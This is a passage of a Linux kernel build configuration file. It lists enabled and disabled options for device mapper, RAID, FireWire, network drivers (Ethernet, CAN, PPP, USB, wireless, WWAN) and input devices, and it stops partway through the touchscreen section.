CONFIG_MD_AUTODETECT=y
CONFIG_MD_BITMAP_FILE=y
# CONFIG_MD_LINEAR is not set
CONFIG_MD_RAID0=y
CONFIG_MD_RAID1=y
CONFIG_MD_RAID10=y
CONFIG_MD_RAID456=y
# CONFIG_MD_CLUSTER is not set
CONFIG_BCACHE=y
# CONFIG_BCACHE_DEBUG is not set
# CONFIG_BCACHE_ASYNC_REGISTRATION is not set
CONFIG_BLK_DEV_DM_BUILTIN=y
CONFIG_BLK_DEV_DM=y
# CONFIG_DM_DEBUG is not set
CONFIG_DM_BUFIO=y
# CONFIG_DM_DEBUG_BLOCK_MANAGER_LOCKING is not set
CONFIG_DM_BIO_PRISON=y
CONFIG_DM_PERSISTENT_DATA=y
# CONFIG_DM_UNSTRIPED is not set
CONFIG_DM_CRYPT=y
# CONFIG_DM_INLINECRYPT is not set
CONFIG_DM_SNAPSHOT=y
CONFIG_DM_THIN_PROVISIONING=y
CONFIG_DM_CACHE=y
CONFIG_DM_CACHE_SMQ=y
CONFIG_DM_WRITECACHE=y
# CONFIG_DM_EBS is not set
# CONFIG_DM_ERA is not set
CONFIG_DM_CLONE=y
CONFIG_DM_MIRROR=y
# CONFIG_DM_LOG_USERSPACE is not set
CONFIG_DM_RAID=y
CONFIG_DM_ZERO=y
CONFIG_DM_MULTIPATH=y
CONFIG_DM_MULTIPATH_QL=y
CONFIG_DM_MULTIPATH_ST=y
# CONFIG_DM_MULTIPATH_HST is not set
# CONFIG_DM_MULTIPATH_IOA is not set
# CONFIG_DM_DELAY is not set
# CONFIG_DM_DUST is not set
# CONFIG_DM_INIT is not set
CONFIG_DM_UEVENT=y
CONFIG_DM_FLAKEY=y
CONFIG_DM_VERITY=y
# CONFIG_DM_VERITY_VERIFY_ROOTHASH_SIG is not set
CONFIG_DM_VERITY_FEC=y
# CONFIG_DM_SWITCH is not set
# CONFIG_DM_LOG_WRITES is not set
CONFIG_DM_INTEGRITY=y
CONFIG_DM_ZONED=y
CONFIG_DM_AUDIT=y
# CONFIG_DM_VDO is not set
# CONFIG_DM_PCACHE is not set
CONFIG_TARGET_CORE=y
# CONFIG_TCM_IBLOCK is not set
# CONFIG_TCM_FILEIO is not set
# CONFIG_TCM_PSCSI is not set
# CONFIG_LOOPBACK_TARGET is not set
# CONFIG_ISCSI_TARGET is not set
# CONFIG_SBP_TARGET is not set
# CONFIG_REMOTE_TARGET is not set
# CONFIG_FUSION is not set

#
# IEEE 1394 (FireWire) support
#
CONFIG_FIREWIRE=y
CONFIG_FIREWIRE_OHCI=y
CONFIG_FIREWIRE_SBP2=y
CONFIG_FIREWIRE_NET=y
# CONFIG_FIREWIRE_NOSY is not set
# end of IEEE 1394 (FireWire) support

# CONFIG_MACINTOSH_DRIVERS is not set
CONFIG_NETDEVICES=y
CONFIG_MII=y
CONFIG_NET_CORE=y
CONFIG_BONDING=y
CONFIG_DUMMY=y
CONFIG_WIREGUARD=y
# CONFIG_WIREGUARD_DEBUG is not set
# CONFIG_OVPN is not set
CONFIG_EQUALIZER=y
CONFIG_NET_FC=y
CONFIG_IFB=y
CONFIG_NET_TEAM=y
CONFIG_NET_TEAM_MODE_BROADCAST=y
CONFIG_NET_TEAM_MODE_ROUNDROBIN=y
CONFIG_NET_TEAM_MODE_RANDOM=y
CONFIG_NET_TEAM_MODE_ACTIVEBACKUP=y
CONFIG_NET_TEAM_MODE_LOADBALANCE=y
CONFIG_MACVLAN=y
CONFIG_MACVTAP=y
CONFIG_IPVLAN_L3S=y
CONFIG_IPVLAN=y
CONFIG_IPVTAP=y
CONFIG_VXLAN=y
CONFIG_GENEVE=y
CONFIG_BAREUDP=y
CONFIG_GTP=y
# CONFIG_PFCP is not set
# CONFIG_AMT is not set
CONFIG_MACSEC=y
CONFIG_NETCONSOLE=y
# CONFIG_NETCONSOLE_DYNAMIC is not set
# CONFIG_NETCONSOLE_EXTENDED_LOG is not set
CONFIG_NETPOLL=y
CONFIG_NET_POLL_CONTROLLER=y
CONFIG_TUN=y
CONFIG_TAP=y
CONFIG_TUN_VNET_CROSS_LE=y
CONFIG_VETH=y
CONFIG_VIRTIO_NET=y
CONFIG_NLMON=y
# CONFIG_NETKIT is not set
CONFIG_NET_VRF=y
CONFIG_VSOCKMON=y
# CONFIG_MHI_NET is not set
# CONFIG_ARCNET is not set
CONFIG_ATM_DRIVERS=y
# CONFIG_ATM_SOLOS is not set

#
# Distributed Switch Architecture drivers
#
# CONFIG_B53 is not set
# CONFIG_NET_DSA_BCM_SF2 is not set
# CONFIG_NET_DSA_LOOP is not set
# CONFIG_NET_DSA_HIRSCHMANN_HELLCREEK is not set
# CONFIG_NET_DSA_LANTIQ_GSWIP is not set
# CONFIG_NET_DSA_MXL_GSW1XX is not set
# CONFIG_NET_DSA_MT7530 is not set
# CONFIG_NET_DSA_MV88E6060 is not set
# CONFIG_NET_DSA_MICROCHIP_KSZ_COMMON is not set
# CONFIG_NET_DSA_MV88E6XXX is not set
# CONFIG_NET_DSA_MXL862 is not set
# CONFIG_NET_DSA_AR9331 is not set
# CONFIG_NET_DSA_QCA8K is not set
# CONFIG_NET_DSA_SJA1105 is not set
# CONFIG_NET_DSA_XRS700X_I2C is not set
# CONFIG_NET_DSA_XRS700X_MDIO is not set
# CONFIG_NET_DSA_REALTEK is not set
# CONFIG_NET_DSA_KS8995 is not set
# CONFIG_NET_DSA_SMSC_LAN9303_I2C is not set
# CONFIG_NET_DSA_SMSC_LAN9303_MDIO is not set
# CONFIG_NET_DSA_VITESSE_VSC73XX_SPI is not set
# CONFIG_NET_DSA_VITESSE_VSC73XX_PLATFORM is not set
# CONFIG_NET_DSA_YT921X is not set
# end of Distributed Switch Architecture drivers

CONFIG_ETHERNET=y
# CONFIG_NET_VENDOR_3COM is not set
# CONFIG_NET_VENDOR_ADAPTEC is not set
# CONFIG_NET_VENDOR_AGERE is not set
# CONFIG_NET_VENDOR_ALACRITECH is not set
CONFIG_NET_VENDOR_ALIBABA=y
# CONFIG_ALIBABA_EEA is not set
# CONFIG_ALTERA_TSE is not set
CONFIG_NET_VENDOR_AMAZON=y
# CONFIG_ENA_ETHERNET is not set
# CONFIG_NET_VENDOR_AMD is not set
# CONFIG_NET_VENDOR_AQUANTIA is not set
# CONFIG_NET_VENDOR_ARC is not set
CONFIG_NET_VENDOR_ASIX=y
# CONFIG_SPI_AX88796C is not set
# CONFIG_NET_VENDOR_ATHEROS is not set
# CONFIG_CX_ECAT is not set
# CONFIG_NET_VENDOR_BROADCOM is not set
# CONFIG_NET_VENDOR_CADENCE is not set
# CONFIG_NET_VENDOR_CAVIUM is not set
# CONFIG_NET_VENDOR_CHELSIO is not set
CONFIG_NET_VENDOR_CISCO=y
# CONFIG_ENIC is not set
# CONFIG_NET_VENDOR_CORTINA is not set
CONFIG_NET_VENDOR_DAVICOM=y
# CONFIG_DM9051 is not set
# CONFIG_NET_VENDOR_DEC is not set
# CONFIG_NET_VENDOR_DLINK is not set
# CONFIG_NET_VENDOR_EMULEX is not set
CONFIG_NET_VENDOR_ENGLEDER=y
# CONFIG_TSNEP is not set
# CONFIG_NET_VENDOR_EZCHIP is not set
CONFIG_NET_VENDOR_FUNGIBLE=y
# CONFIG_FUN_ETH is not set
CONFIG_NET_VENDOR_GOOGLE=y
CONFIG_GVE=y
CONFIG_NET_VENDOR_HISILICON=y
# CONFIG_HIBMCGE is not set
# CONFIG_NET_VENDOR_HUAWEI is not set
CONFIG_NET_VENDOR_I825XX=y
CONFIG_NET_VENDOR_INTEL=y
CONFIG_E100=y
CONFIG_E1000=y
CONFIG_E1000E=y
CONFIG_E1000E_HWTS=y
# CONFIG_IGB is not set
# CONFIG_IGBVF is not set
# CONFIG_IXGBE is not set
# CONFIG_IXGBEVF is not set
# CONFIG_I40E is not set
# CONFIG_I40EVF is not set
# CONFIG_ICE is not set
# CONFIG_FM10K is not set
# CONFIG_IGC is not set
# CONFIG_IDPF is not set
# CONFIG_IXD is not set
# CONFIG_JME is not set
# CONFIG_NET_VENDOR_ADI is not set
CONFIG_NET_VENDOR_LITEX=y
# CONFIG_LITEX_LITEETH is not set
# CONFIG_NET_VENDOR_MARVELL is not set
CONFIG_NET_VENDOR_MELLANOX=y
# CONFIG_MLX4_EN is not set
CONFIG_MLX4_CORE=y
# CONFIG_MLX4_DEBUG is not set
# CONFIG_MLX4_CORE_GEN2 is not set
# CONFIG_MLX5_CORE is not set
# CONFIG_MLXSW_CORE is not set
# CONFIG_MLXFW is not set
CONFIG_NET_VENDOR_META=y
# CONFIG_FBNIC is not set
# CONFIG_NET_VENDOR_MICREL is not set
# CONFIG_NET_VENDOR_MICROCHIP is not set
# CONFIG_NET_VENDOR_MICROSEMI is not set
CONFIG_NET_VENDOR_MICROSOFT=y
CONFIG_NET_VENDOR_MUCSE=y
# CONFIG_MGBE is not set
# CONFIG_NET_VENDOR_MYRI is not set
# CONFIG_FEALNX is not set
# CONFIG_NET_VENDOR_NI is not set
# CONFIG_NET_VENDOR_NATSEMI is not set
# CONFIG_NET_VENDOR_NETRONOME is not set
# CONFIG_NET_VENDOR_NVIDIA is not set
# CONFIG_NET_VENDOR_OKI is not set
# CONFIG_ETHOC is not set
# CONFIG_NET_VENDOR_PENSANDO is not set
# CONFIG_NET_VENDOR_QLOGIC is not set
# CONFIG_NET_VENDOR_BROCADE is not set
# CONFIG_NET_VENDOR_QUALCOMM is not set
# CONFIG_NET_VENDOR_RDC is not set
# CONFIG_NET_VENDOR_REALTEK is not set
# CONFIG_NET_VENDOR_RENESAS is not set
# CONFIG_NET_VENDOR_ROCKER is not set
# CONFIG_NET_VENDOR_SAMSUNG is not set
# CONFIG_NET_VENDOR_SEEQ is not set
# CONFIG_NET_VENDOR_SILAN is not set
# CONFIG_NET_VENDOR_SIS is not set
# CONFIG_NET_VENDOR_SOLARFLARE is not set
# CONFIG_NET_VENDOR_SMSC is not set
# CONFIG_NET_VENDOR_SOCIONEXT is not set
# CONFIG_NET_VENDOR_STMICRO is not set
# CONFIG_NET_VENDOR_SUN is not set
# CONFIG_NET_VENDOR_SYNOPSYS is not set
# CONFIG_NET_VENDOR_TEHUTI is not set
# CONFIG_NET_VENDOR_TI is not set
CONFIG_NET_VENDOR_VERTEXCOM=y
# CONFIG_MSE102X is not set
# CONFIG_NET_VENDOR_VIA is not set
CONFIG_NET_VENDOR_WANGXUN=y
# CONFIG_NGBE is not set
# CONFIG_TXGBE is not set
# CONFIG_TXGBEVF is not set
# CONFIG_NGBEVF is not set
# CONFIG_NET_VENDOR_WIZNET is not set
# CONFIG_NET_VENDOR_XILINX is not set
# CONFIG_NET_VENDOR_XIRCOM is not set
CONFIG_NET_VENDOR_ZTE=y
# CONFIG_DINGHAI is not set
CONFIG_FDDI=y
# CONFIG_DEFXX is not set
# CONFIG_SKFP is not set
CONFIG_PHYLINK=y
CONFIG_PHYLIB=y
CONFIG_SWPHY=y
CONFIG_PHY_PACKAGE=y
# CONFIG_LED_TRIGGER_PHY is not set
CONFIG_PHYLIB_LEDS=y
CONFIG_FIXED_PHY=y
# CONFIG_SFP is not set

#
# MII PHY device drivers
#
# CONFIG_AS21XXX_PHY is not set
# CONFIG_AIR_AN8801_PHY is not set
# CONFIG_AIR_EN8811H_PHY is not set
# CONFIG_AMD_PHY is not set
# CONFIG_ADIN_PHY is not set
# CONFIG_ADIN1100_PHY is not set
# CONFIG_ADIN1140_PHY is not set
# CONFIG_AQUANTIA_PHY is not set
CONFIG_AX88796B_PHY=y
# CONFIG_BROADCOM_PHY is not set
# CONFIG_BCM54140_PHY is not set
# CONFIG_BCM7XXX_PHY is not set
# CONFIG_BCM84881_PHY is not set
# CONFIG_BCM87XX_PHY is not set
# CONFIG_CICADA_PHY is not set
# CONFIG_CORTINA_PHY is not set
# CONFIG_DAP8211R_PHY is not set
# CONFIG_DAVICOM_PHY is not set
# CONFIG_ICPLUS_PHY is not set
# CONFIG_LXT_PHY is not set
# CONFIG_INTEL_XWAY_PHY is not set
# CONFIG_LSI_ET1011C_PHY is not set
# CONFIG_MARVELL_PHY is not set
# CONFIG_MARVELL_10G_PHY is not set
# CONFIG_MARVELL_88Q2XXX_PHY is not set
# CONFIG_MARVELL_88X2222_PHY is not set
# CONFIG_MAXLINEAR_GPHY is not set
# CONFIG_MAXLINEAR_86110_PHY is not set
# CONFIG_MEDIATEK_GE_PHY is not set
# CONFIG_MICREL_PHY is not set
# CONFIG_MICROCHIP_T1S_PHY is not set
CONFIG_MICROCHIP_PHY=y
# CONFIG_MICROCHIP_T1_PHY is not set
# CONFIG_MICROSEMI_PHY is not set
# CONFIG_MOTORCOMM_PHY is not set
# CONFIG_NATIONAL_PHY is not set
# CONFIG_NXP_CBTX_PHY is not set
# CONFIG_NXP_C45_TJA11XX_PHY is not set
# CONFIG_NXP_TJA11XX_PHY is not set
# CONFIG_NCN26000_PHY is not set
# CONFIG_AT803X_PHY is not set
# CONFIG_QCA83XX_PHY is not set
# CONFIG_QCA808X_PHY is not set
# CONFIG_QCA807X_PHY is not set
# CONFIG_QSEMI_PHY is not set
CONFIG_REALTEK_PHY=y
# CONFIG_REALTEK_PHY_HWMON is not set
# CONFIG_RENESAS_PHY is not set
# CONFIG_ROCKCHIP_PHY is not set
CONFIG_SMSC_PHY=y
# CONFIG_STE10XP is not set
# CONFIG_TERANETICS_PHY is not set
# CONFIG_DP83822_PHY is not set
# CONFIG_DP83TC811_PHY is not set
# CONFIG_DP83848_PHY is not set
# CONFIG_DP83867_PHY is not set
# CONFIG_DP83869_PHY is not set
# CONFIG_DP83TD510_PHY is not set
# CONFIG_DP83TG720_PHY is not set
# CONFIG_VITESSE_PHY is not set
# CONFIG_XILINX_GMII2RGMII is not set
# CONFIG_PSE_CONTROLLER is not set
CONFIG_CAN_DEV=y
CONFIG_CAN_VCAN=y
CONFIG_CAN_VXCAN=y
CONFIG_CAN_NETLINK=y
CONFIG_CAN_CALC_BITTIMING=y
CONFIG_CAN_RX_OFFLOAD=y
# CONFIG_CAN_CAN327 is not set
# CONFIG_CAN_DUMMY is not set
# CONFIG_CAN_FLEXCAN is not set
# CONFIG_CAN_GRCAN is not set
# CONFIG_CAN_KVASER_PCIEFD is not set
CONFIG_CAN_SLCAN=y
# CONFIG_CAN_VIRTIO_CAN is not set
# CONFIG_CAN_C_CAN is not set
# CONFIG_CAN_CC770 is not set
# CONFIG_CAN_CTUCANFD_PCI is not set
# CONFIG_CAN_CTUCANFD_PLATFORM is not set
# CONFIG_CAN_ESD_402_PCI is not set
CONFIG_CAN_IFI_CANFD=y
# CONFIG_CAN_M_CAN is not set
# CONFIG_CAN_PEAK_PCIEFD is not set
# CONFIG_CAN_SJA1000 is not set
# CONFIG_CAN_SOFTING is not set

#
# CAN SPI interfaces
#
# CONFIG_CAN_HI311X is not set
# CONFIG_CAN_MCP251X is not set
# CONFIG_CAN_MCP251XFD is not set
# end of CAN SPI interfaces

#
# CAN USB interfaces
#
CONFIG_CAN_8DEV_USB=y
CONFIG_CAN_EMS_USB=y
CONFIG_CAN_ESD_USB=y
CONFIG_CAN_ETAS_ES58X=y
CONFIG_CAN_F81604=y
CONFIG_CAN_GS_USB=y
CONFIG_CAN_KVASER_USB=y
CONFIG_CAN_MCBA_USB=y
CONFIG_CAN_PEAK_USB=y
CONFIG_CAN_UCAN=y
# end of CAN USB interfaces

# CONFIG_CAN_DEBUG_DEVICES is not set

#
# MCTP Device Drivers
#
# CONFIG_MCTP_SERIAL is not set
# CONFIG_MCTP_TRANSPORT_I2C is not set
# CONFIG_MCTP_TRANSPORT_USBLIB is not set
# CONFIG_MCTP_TRANSPORT_USB is not set
# end of MCTP Device Drivers

#
# MDIO controller drivers
#
CONFIG_FWNODE_MDIO=y
CONFIG_OF_MDIO=y
CONFIG_ACPI_MDIO=y
# CONFIG_MDIO_BITBANG is not set
# CONFIG_MDIO_BCM_UNIMAC is not set
# CONFIG_MDIO_HISI_FEMAC is not set
CONFIG_MDIO_MVUSB=y
# CONFIG_MDIO_MSCC_MIIM is not set
# CONFIG_MDIO_OCTEON is not set
# CONFIG_MDIO_IPQ4019 is not set
# CONFIG_MDIO_IPQ8064 is not set
# CONFIG_MDIO_THUNDER is not set

#
# MDIO Multiplexers
#
# CONFIG_MDIO_BUS_MUX_GPIO is not set
# CONFIG_MDIO_BUS_MUX_MULTIPLEXER is not set
# CONFIG_MDIO_BUS_MUX_MMIOREG is not set
# end of MDIO Multiplexers
# end of MDIO controller drivers

#
# PCS device drivers
#
# CONFIG_PCS_XPCS is not set
# end of PCS device drivers

# CONFIG_PLIP is not set
CONFIG_PPP=y
CONFIG_PPP_BSDCOMP=y
CONFIG_PPP_DEFLATE=y
CONFIG_PPP_FILTER=y
CONFIG_PPP_MPPE=y
CONFIG_PPP_MULTILINK=y
CONFIG_PPPOATM=y
CONFIG_PPPOX=y
CONFIG_PPPOE=y
CONFIG_PPPOE_HASH_BITS_1=y
# CONFIG_PPPOE_HASH_BITS_2 is not set
# CONFIG_PPPOE_HASH_BITS_4 is not set
# CONFIG_PPPOE_HASH_BITS_8 is not set
CONFIG_PPPOE_HASH_BITS=1
CONFIG_PPTP=y
CONFIG_PPPOL2TP=y
CONFIG_PPP_ASYNC=y
CONFIG_PPP_SYNC_TTY=y
CONFIG_SLIP=y
CONFIG_SLHC=y
CONFIG_SLIP_COMPRESSED=y
CONFIG_SLIP_SMART=y
CONFIG_SLIP_MODE_SLIP6=y
CONFIG_USB_NET_DRIVERS=y
CONFIG_USB_CATC=y
CONFIG_USB_KAWETH=y
CONFIG_USB_PEGASUS=y
CONFIG_USB_RTL8150=y
CONFIG_USB_RTL8152=y
CONFIG_USB_LAN78XX=y
CONFIG_USB_USBNET=y
CONFIG_USB_NET_AX8817X=y
CONFIG_USB_NET_AX88179_178A=y
CONFIG_USB_NET_CDCETHER=y
CONFIG_USB_NET_CDC_EEM=y
CONFIG_USB_NET_CDC_NCM=y
CONFIG_USB_NET_HUAWEI_CDC_NCM=y
CONFIG_USB_NET_CDC_MBIM=y
CONFIG_USB_NET_DM9601=y
CONFIG_USB_NET_SR9700=y
CONFIG_USB_NET_SR9800=y
CONFIG_USB_NET_SMSC75XX=y
CONFIG_USB_NET_SMSC95XX=y
CONFIG_USB_NET_GL620A=y
CONFIG_USB_NET_NET1080=y
CONFIG_USB_NET_PLUSB=y
CONFIG_USB_NET_MCS7830=y
CONFIG_USB_NET_RNDIS_HOST=y
CONFIG_USB_NET_CDC_SUBSET_ENABLE=y
CONFIG_USB_NET_CDC_SUBSET=y
CONFIG_USB_ALI_M5632=y
CONFIG_USB_AN2720=y
CONFIG_USB_BELKIN=y
CONFIG_USB_ARMLINUX=y
CONFIG_USB_EPSON2888=y
CONFIG_USB_KC2190=y
CONFIG_USB_NET_ZAURUS=y
CONFIG_USB_NET_CX82310_ETH=y
CONFIG_USB_NET_KALMIA=y
CONFIG_USB_NET_QMI_WWAN=y
CONFIG_USB_HSO=y
CONFIG_USB_NET_INT51X1=y
CONFIG_USB_CDC_PHONET=y
CONFIG_USB_IPHETH=y
CONFIG_USB_SIERRA_NET=y
CONFIG_USB_VL600=y
CONFIG_USB_NET_CH9200=y
CONFIG_USB_NET_AQC111=y
CONFIG_USB_RTL8153_ECM=y
CONFIG_WLAN=y
CONFIG_WLAN_VENDOR_ADMTEK=y
# CONFIG_ADM8211 is not set
CONFIG_ATH_COMMON=y
CONFIG_WLAN_VENDOR_ATH=y
# CONFIG_ATH_DEBUG is not set
# CONFIG_ATH5K is not set
# CONFIG_ATH5K_PCI is not set
CONFIG_ATH9K_HW=y
CONFIG_ATH9K_COMMON=y
CONFIG_ATH9K_COMMON_DEBUG=y
CONFIG_ATH9K_BTCOEX_SUPPORT=y
CONFIG_ATH9K=y
CONFIG_ATH9K_PCI=y
CONFIG_ATH9K_AHB=y
CONFIG_ATH9K_DEBUGFS=y
# CONFIG_ATH9K_STATION_STATISTICS is not set
CONFIG_ATH9K_DYNACK=y
# CONFIG_ATH9K_WOW is not set
CONFIG_ATH9K_RFKILL=y
CONFIG_ATH9K_CHANNEL_CONTEXT=y
CONFIG_ATH9K_PCOEM=y
# CONFIG_ATH9K_PCI_NO_EEPROM is not set
CONFIG_ATH9K_HTC=y
CONFIG_ATH9K_HTC_DEBUGFS=y
# CONFIG_ATH9K_HWRNG is not set
CONFIG_ATH9K_COMMON_SPECTRAL=y
CONFIG_CARL9170=y
CONFIG_CARL9170_LEDS=y
# CONFIG_CARL9170_DEBUGFS is not set
CONFIG_CARL9170_WPC=y
CONFIG_CARL9170_HWRNG=y
CONFIG_ATH6KL=y
# CONFIG_ATH6KL_SDIO is not set
CONFIG_ATH6KL_USB=y
# CONFIG_ATH6KL_DEBUG is not set
# CONFIG_ATH6KL_TRACING is not set
CONFIG_AR5523=y
# CONFIG_WIL6210 is not set
CONFIG_ATH10K=y
CONFIG_ATH10K_CE=y
CONFIG_ATH10K_PCI=y
# CONFIG_ATH10K_AHB is not set
# CONFIG_ATH10K_SDIO is not set
CONFIG_ATH10K_USB=y
# CONFIG_ATH10K_DEBUG is not set
# CONFIG_ATH10K_DEBUGFS is not set
CONFIG_ATH10K_LEDS=y
# CONFIG_ATH10K_TRACING is not set
# CONFIG_WCN36XX is not set
CONFIG_ATH11K=y
# CONFIG_ATH11K_PCI is not set
# CONFIG_ATH11K_DEBUG is not set
# CONFIG_ATH11K_DEBUGFS is not set
# CONFIG_ATH11K_TRACING is not set
# CONFIG_ATH12K is not set
# CONFIG_WLAN_VENDOR_ATMEL is not set
# CONFIG_WLAN_VENDOR_BROADCOM is not set
# CONFIG_WLAN_VENDOR_INTEL is not set
# CONFIG_WLAN_VENDOR_INTERSIL is not set
# CONFIG_WLAN_VENDOR_MARVELL is not set
# CONFIG_WLAN_VENDOR_MEDIATEK is not set
# CONFIG_WLAN_VENDOR_MICROCHIP is not set
CONFIG_WLAN_VENDOR_MORSEMICRO=y
# CONFIG_MM81X_USB is not set
# CONFIG_MM81X_SDIO is not set
CONFIG_WLAN_VENDOR_NXP=y
# CONFIG_NXPWIFI_SDIO is not set
CONFIG_WLAN_VENDOR_PURELIFI=y
CONFIG_PLFXLC=y
# CONFIG_WLAN_VENDOR_RALINK is not set
# CONFIG_WLAN_VENDOR_REALTEK is not set
# CONFIG_WLAN_VENDOR_RSI is not set
CONFIG_WLAN_VENDOR_SILABS=y
# CONFIG_WFX is not set
# CONFIG_WLAN_VENDOR_ST is not set
# CONFIG_WLAN_VENDOR_TI is not set
# CONFIG_WLAN_VENDOR_ZYDAS is not set
# CONFIG_WLAN_VENDOR_QUANTENNA is not set
CONFIG_MAC80211_HWSIM=y
CONFIG_VIRT_WIFI=y
CONFIG_WAN=y
CONFIG_HDLC=y
CONFIG_HDLC_RAW=y
CONFIG_HDLC_RAW_ETH=y
CONFIG_HDLC_CISCO=y
CONFIG_HDLC_FR=y
CONFIG_HDLC_PPP=y
CONFIG_HDLC_X25=y
# CONFIG_FRAMER is not set
# CONFIG_PCI200SYN is not set
# CONFIG_WANXL is not set
# CONFIG_PC300TOO is not set
# CONFIG_FARSYNC is not set
CONFIG_LAPBETHER=y
CONFIG_IEEE802154_DRIVERS=y
# CONFIG_IEEE802154_FAKELB is not set
# CONFIG_IEEE802154_AT86RF230 is not set
# CONFIG_IEEE802154_MRF24J40 is not set
# CONFIG_IEEE802154_CC2520 is not set
CONFIG_IEEE802154_ATUSB=y
# CONFIG_IEEE802154_ADF7242 is not set
# CONFIG_IEEE802154_CA8210 is not set
# CONFIG_IEEE802154_MCR20A is not set
CONFIG_IEEE802154_HWSIM=y

#
# Wireless WAN
#
CONFIG_WWAN=y
# CONFIG_WWAN_DEBUGFS is not set
# CONFIG_WWAN_HWSIM is not set
CONFIG_MHI_WWAN_CTRL=y
# CONFIG_MHI_WWAN_MBIM is not set
# CONFIG_IOSM is not set
# CONFIG_MTK_T7XX is not set
# end of Wireless WAN

CONFIG_VMXNET3=y
# CONFIG_FUJITSU_ES is not set
CONFIG_USB4_NET=y
CONFIG_NETDEVSIM=y
CONFIG_NET_FAILOVER=y

#
# Input device support
#
CONFIG_INPUT=y
CONFIG_INPUT_LEDS=y
CONFIG_INPUT_FF_MEMLESS=y
CONFIG_INPUT_SPARSEKMAP=y
# CONFIG_INPUT_MATRIXKMAP is not set
CONFIG_INPUT_VIVALDIFMAP=y

#
# Userland interfaces
#
CONFIG_INPUT_MOUSEDEV=y
CONFIG_INPUT_MOUSEDEV_PSAUX=y
CONFIG_INPUT_MOUSEDEV_SCREEN_X=1024
CONFIG_INPUT_MOUSEDEV_SCREEN_Y=768
CONFIG_INPUT_JOYDEV=y
CONFIG_INPUT_EVDEV=y

#
# Input Device Drivers
#
CONFIG_INPUT_KEYBOARD=y
# CONFIG_KEYBOARD_ADC is not set
# CONFIG_KEYBOARD_ADP5588 is not set
CONFIG_KEYBOARD_ATKBD=y
# CONFIG_KEYBOARD_QT1050 is not set
# CONFIG_KEYBOARD_QT1070 is not set
# CONFIG_KEYBOARD_QT2160 is not set
# CONFIG_KEYBOARD_DLINK_DIR685 is not set
# CONFIG_KEYBOARD_LKKBD is not set
# CONFIG_KEYBOARD_GPIO is not set
# CONFIG_KEYBOARD_GPIO_POLLED is not set
# CONFIG_KEYBOARD_TCA8418 is not set
# CONFIG_KEYBOARD_MATRIX is not set
# CONFIG_KEYBOARD_CHARLIEPLEX is not set
# CONFIG_KEYBOARD_LM8323 is not set
# CONFIG_KEYBOARD_LM8333 is not set
# CONFIG_KEYBOARD_MAX7359 is not set
# CONFIG_KEYBOARD_MPR121 is not set
# CONFIG_KEYBOARD_NEWTON is not set
# CONFIG_KEYBOARD_OPENCORES is not set
# CONFIG_KEYBOARD_PINEPHONE is not set
# CONFIG_KEYBOARD_SAMSUNG is not set
# CONFIG_KEYBOARD_STOWAWAY is not set
# CONFIG_KEYBOARD_SUNKBD is not set
# CONFIG_KEYBOARD_OMAP4 is not set
# CONFIG_KEYBOARD_TM2_TOUCHKEY is not set
# CONFIG_KEYBOARD_TWL4030 is not set
# CONFIG_KEYBOARD_XTKBD is not set
# CONFIG_KEYBOARD_CAP11XX is not set
# CONFIG_KEYBOARD_BCM is not set
# CONFIG_KEYBOARD_CYPRESS_SF is not set
CONFIG_INPUT_MOUSE=y
CONFIG_MOUSE_PS2=y
CONFIG_MOUSE_PS2_ALPS=y
CONFIG_MOUSE_PS2_BYD=y
CONFIG_MOUSE_PS2_LOGIPS2PP=y
CONFIG_MOUSE_PS2_SYNAPTICS=y
CONFIG_MOUSE_PS2_SYNAPTICS_SMBUS=y
CONFIG_MOUSE_PS2_CYPRESS=y
CONFIG_MOUSE_PS2_LIFEBOOK=y
CONFIG_MOUSE_PS2_TRACKPOINT=y
# CONFIG_MOUSE_PS2_ELANTECH is not set
# CONFIG_MOUSE_PS2_SENTELIC is not set
# CONFIG_MOUSE_PS2_TOUCHKIT is not set
CONFIG_MOUSE_PS2_FOCALTECH=y
# CONFIG_MOUSE_PS2_VMMOUSE is not set
CONFIG_MOUSE_PS2_SMBUS=y
# CONFIG_MOUSE_SERIAL is not set
CONFIG_MOUSE_APPLETOUCH=y
CONFIG_MOUSE_BCM5974=y
# CONFIG_MOUSE_CYAPA is not set
# CONFIG_MOUSE_ELAN_I2C is not set
# CONFIG_MOUSE_VSXXXAA is not set
# CONFIG_MOUSE_GPIO is not set
# CONFIG_MOUSE_SYNAPTICS_I2C is not set
CONFIG_MOUSE_SYNAPTICS_USB=y
CONFIG_INPUT_JOYSTICK=y
# CONFIG_JOYSTICK_ANALOG is not set
# CONFIG_JOYSTICK_A3D is not set
# CONFIG_JOYSTICK_ADC is not set
# CONFIG_JOYSTICK_ADI is not set
# CONFIG_JOYSTICK_COBRA is not set
# CONFIG_JOYSTICK_GF2K is not set
# CONFIG_JOYSTICK_GRIP is not set
# CONFIG_JOYSTICK_GRIP_MP is not set
# CONFIG_JOYSTICK_GUILLEMOT is not set
# CONFIG_JOYSTICK_INTERACT is not set
# CONFIG_JOYSTICK_SIDEWINDER is not set
# CONFIG_JOYSTICK_TMDC is not set
CONFIG_JOYSTICK_IFORCE=y
CONFIG_JOYSTICK_IFORCE_USB=y
# CONFIG_JOYSTICK_IFORCE_232 is not set
# CONFIG_JOYSTICK_WARRIOR is not set
# CONFIG_JOYSTICK_MAGELLAN is not set
# CONFIG_JOYSTICK_SPACEORB is not set
# CONFIG_JOYSTICK_SPACEBALL is not set
# CONFIG_JOYSTICK_STINGER is not set
# CONFIG_JOYSTICK_TWIDJOY is not set
# CONFIG_JOYSTICK_ZHENHUA is not set
# CONFIG_JOYSTICK_DB9 is not set
# CONFIG_JOYSTICK_GAMECON is not set
# CONFIG_JOYSTICK_TURBOGRAFX is not set
# CONFIG_JOYSTICK_AS5011 is not set
# CONFIG_JOYSTICK_JOYDUMP is not set
CONFIG_JOYSTICK_XPAD=y
CONFIG_JOYSTICK_XPAD_FF=y
CONFIG_JOYSTICK_XPAD_LEDS=y
# CONFIG_JOYSTICK_WALKERA0701 is not set
# CONFIG_JOYSTICK_PSXPAD_SPI is not set
CONFIG_JOYSTICK_PXRC=y
# CONFIG_JOYSTICK_QWIIC is not set
# CONFIG_JOYSTICK_FSIA6B is not set
# CONFIG_JOYSTICK_SENSEHAT is not set
# CONFIG_JOYSTICK_SEESAW is not set
CONFIG_INPUT_TABLET=y
CONFIG_TABLET_USB_ACECAD=y
CONFIG_TABLET_USB_AIPTEK=y
CONFIG_TABLET_USB_HANWANG=y
CONFIG_TABLET_USB_KBTAB=y
CONFIG_TABLET_USB_PEGASUS=y
# CONFIG_TABLET_SERIAL_WACOM4 is not set
CONFIG_INPUT_TOUCHSCREEN=y
# CONFIG_TOUCHSCREEN_ADS7846 is not set
